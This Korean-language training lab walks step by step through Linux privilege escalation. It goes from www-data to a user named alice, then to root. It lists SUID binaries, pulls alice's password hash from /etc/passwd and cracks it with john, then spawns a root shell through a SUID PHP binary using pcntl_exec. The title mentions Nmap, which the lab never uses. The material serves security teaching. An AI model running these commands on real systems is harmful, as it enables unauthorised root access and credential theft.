Nmap 을 이용한 중간 사용자 경유 Root 권한 상승

NmapBeginner
지금 연습하기

소개

이 랩에서는 root 로 직접 권한 상승을 할 수 없을 때, 권한을 root 사용자로 상승시키는 방법을 배웁니다. 먼저 다른 일반 사용자로 권한을 상승시킨 다음, 해당 사용자의 권한을 사용하여 root 사용자로 권한을 상승시킵니다. 이 중간 사용자를 "디딤돌" 사용자라고 합니다.

이 랩의 목표는 www-data 사용자에서 alice 사용자로, 그리고 alice 사용자에서 root 사용자로 권한을 상승시키는 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

랩 환경 초기화

이 단계에서는 랩 환경을 초기화합니다.

  1. 먼저 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
  2. 다음 명령을 실행하여 랩 환경을 설정합니다.

    ./env_setup.sh

이 명령은 랩에 필요한 환경을 설정하는 스크립트를 다운로드하여 실행합니다. 이 명령을 실행한 후, 웹 취약점을 통해 얻은 초기 쉘을 시뮬레이션하여 www-data 사용자로 전환됩니다.

SUID 권한 상승 시도

이 단계에서는 SUID (Set User ID) 기술을 사용하여 권한을 상승시키려고 시도합니다. SUID 비트가 설정된 실행 파일을 검색합니다. 이러한 파일은 파일 소유자 (이 경우 root) 의 권한으로 실행될 수 있습니다.

  1. 먼저 www-data 사용자가 접근할 수 있는 SUID 실행 파일을 검색해 보겠습니다.

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    이 명령은 root 사용자가 소유하고 SUID 비트가 설정된 (권한 모드 4000) 파일을 전체 파일 시스템에서 검색합니다.

  2. 명령을 실행한 후, www-data_suid_files.txt 파일에 SUID 실행 파일 목록이 표시됩니다. 이 파일의 내용을 살펴보겠습니다.

    cat ~/www-data_suid_files.txt

하지만, 이 경우에는 SUID 권한 상승에 적합한 파일이 없습니다.

홈 디렉토리 조사

SUID 기술을 사용하여 권한을 상승시킬 수 없었으므로, 잠재적인 발판 사용자 (stepping stone users) 를 찾기 위해 홈 디렉토리를 조사해 보겠습니다.

  1. 먼저, 추가 분석을 위해 /home 디렉토리의 내용을 파일에 저장합니다.

    ls -alh /home > ~/home_dir_contents.txt

    이 명령은 /home 디렉토리의 내용을 파일 크기 및 권한을 포함한 긴 형식으로 나열하고, 이를 home_dir_contents.txt 파일에 저장합니다.

  2. 다음으로, 잠재적인 발판을 식별하기 위해 home_dir_contents.txt 파일의 내용을 검토해 보겠습니다.

    cat ~/home_dir_contents.txt

    출력에서 alice라는 디렉토리를 볼 수 있으며, 이는 시스템에 alice라는 사용자가 존재함을 나타냅니다.

Alice 사용자 권한 상승 시도

www-data 사용자는 alice 디렉토리에 접근할 수 없으므로, 먼저 alice 사용자로 권한을 상승시키는 방법을 찾아야 합니다.

  1. alice 사용자에 대한 정보를 얻기 위해 /etc/passwd 파일을 확인해 보겠습니다.

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. alice_info.txt 파일의 내용을 확인하여 alice 사용자의 세부 정보를 확인합니다.

    cat ~/alice_info.txt

    예상 출력:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    출력에서 비밀번호 해시를 포함한 alice 사용자에 대한 항목을 볼 수 있습니다.

  3. 비밀번호 해시를 크래킹하기 위해 john 도구를 사용할 수 있습니다. 새 터미널을 열고 다음 명령을 실행합니다.

    john ~/alice_info.txt > cracked_passwords.txt

    예시 출력:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    이것은 비밀번호 크래킹 프로세스를 시작합니다. 비밀번호가 크래킹되면 cracked_passwords.txt 파일에서 비밀번호를 확인할 수 있습니다.

    cat ~/cracked_passwords.txt

    예시 출력:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. 이 경우, alice 사용자의 비밀번호는 beautiful입니다. su 명령을 사용하여 alice 사용자로 전환합니다.

    su - alice

    프롬프트가 표시되면 이전에 크래킹한 비밀번호 (beautiful) 를 입력합니다.

    beautiful
  5. alice 사용자로 성공적으로 전환한 후, alice 디렉토리로 이동하여 alice.txt라는 새 파일을 생성합니다.

    cd /home/alice

    alice.txt라는 새 파일을 생성합니다.

    touch ~/alice.txt

    이제 alice 디렉토리와 그 내용에 접근할 수 있습니다.

Alice 사용자 권한으로 SUID 권한 상승 시도

이제 alice 사용자로 권한을 상승시켰으므로, SUID 권한 상승 기술을 다시 시도해 보겠습니다.

  1. alice 사용자의 홈 디렉토리에 있는지 확인합니다.

    cd /home/alice

    SUID 비트가 설정된 파일을 찾으려면 다음 명령을 실행합니다.

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. SUID 파일 목록을 보려면 alice_suid_files.txt 파일의 내용을 확인합니다.

    cat alice_suid_files.txt

    예상 출력:

    ...
    /var/bin/php
    ...

    이번에는 /var/bin/php 실행 파일을 출력에서 볼 수 있습니다. 이 파일은 SUID 권한 상승에 사용할 수 있습니다.

  3. root 사용자로 권한을 상승시키려면 다음 명령을 실행합니다.

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    이 명령은 root 권한으로 새 셸을 생성하는 PHP 스크립트를 실행합니다.

  4. 이제 터미널에서 # 프롬프트로 표시되는 root 셸을 갖게 됩니다. root 디렉토리에 파일을 생성하여 root 권한이 있는지 확인합니다.

    touch /root/root.txt

    권한 오류 없이 파일이 생성되면 SUID 기술을 사용하여 root 사용자로 권한을 성공적으로 상승시킨 것입니다.

디렉토리 권한의 차이 이해

alice 사용자가 SUID 실행 파일 php를 찾을 수 있었던 반면, www-data 사용자는 왜 찾을 수 없었는지 궁금할 수 있습니다. 그 답은 디렉토리 권한에 있습니다.

마지막 단계 이후에도 아래와 같은 root 사용자의 셸을 가지고 있어야 합니다.

sh-5.1#
  1. /var/bin 디렉토리의 권한을 검사하고 출력을 파일에 저장해 보겠습니다.

    ls -lh /var > /root/var_permissions.txt
  2. /var 디렉토리의 권한을 보려면 var_permissions.txt 파일의 내용을 확인합니다.

    cat /root/var_permissions.txt

    예상 출력:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    출력에서 /var/bin 디렉토리가 alice 사용자와 그룹에 의해 소유됨을 확인할 수 있습니다. 다른 사용자는 이 디렉토리에 대한 읽기, 쓰기 또는 실행 권한이 없습니다.

이는 alice 사용자로 권한을 상승시켰을 때, 이전에 www-data 사용자가 접근할 수 없었던 파일과 디렉토리에 접근할 수 있게 되었음을 의미합니다. 이러한 권한의 차이로 인해 SUID 실행 파일을 찾아 권한 상승에 활용할 수 있었습니다.

요약

이 랩에서는 직접적인 root 권한 상승이 불가능할 때 root 사용자로 권한을 상승시키는 방법을 배웠습니다. 먼저 alice 사용자, 즉 중간 단계를 거치는 사용자로 권한을 상승시킨 다음, alice 사용자의 권한을 사용하여 root 사용자로 권한을 상승시켰습니다.

이 랩에서 얻을 수 있는 핵심적인 교훈은 사용자 간의 권한 차이를 항상 염두에 두는 것입니다. 이러한 차이점은 때때로 권한 상승에 활용될 수 있습니다. 이 랩에서는 간단한 예시를 사용했지만, 실제 시나리오는 더 복잡할 수 있습니다. 하지만 핵심 원리는 동일합니다. 즉, 사용자 권한의 차이를 악용하여 권한 상승을 달성하는 것입니다.